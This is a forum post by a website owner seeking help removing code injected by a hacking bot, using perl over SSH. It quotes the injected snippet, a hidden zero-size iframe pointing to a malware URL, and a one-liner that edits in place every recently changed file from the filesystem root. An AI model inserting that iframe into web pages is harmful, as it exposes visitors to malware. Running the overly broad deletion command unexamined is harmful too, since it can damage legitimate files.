I am seeking help with someone who knows how to use perl with SSH - in order to repair files that where damaged by a malicious hacking bot.
(one site that I have infected is, for example: http://www.talgalili.com)
Here is the code that I wish to remove:
<iframe src="http://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
(leading to a malware link - which Avast detected)
Using SSH, I now wish to search and replace all the files that has this line and erase that piece of code from them.
I found this post:
Explaining how to do so using this code:
find / -type f -mtime -10 | xargs grep -l '<iframe'| xargs perl -pi -e 's/^.*\<iframe.*$/ /g'
I would like to customize this code to erase exactly the piece of code mentioned, and not the whole line in which it resides.
Any idea on how to do this ?
p.s: a few other thread on the subject can be found on:
, but the code the persons presents are, I am afraid, to general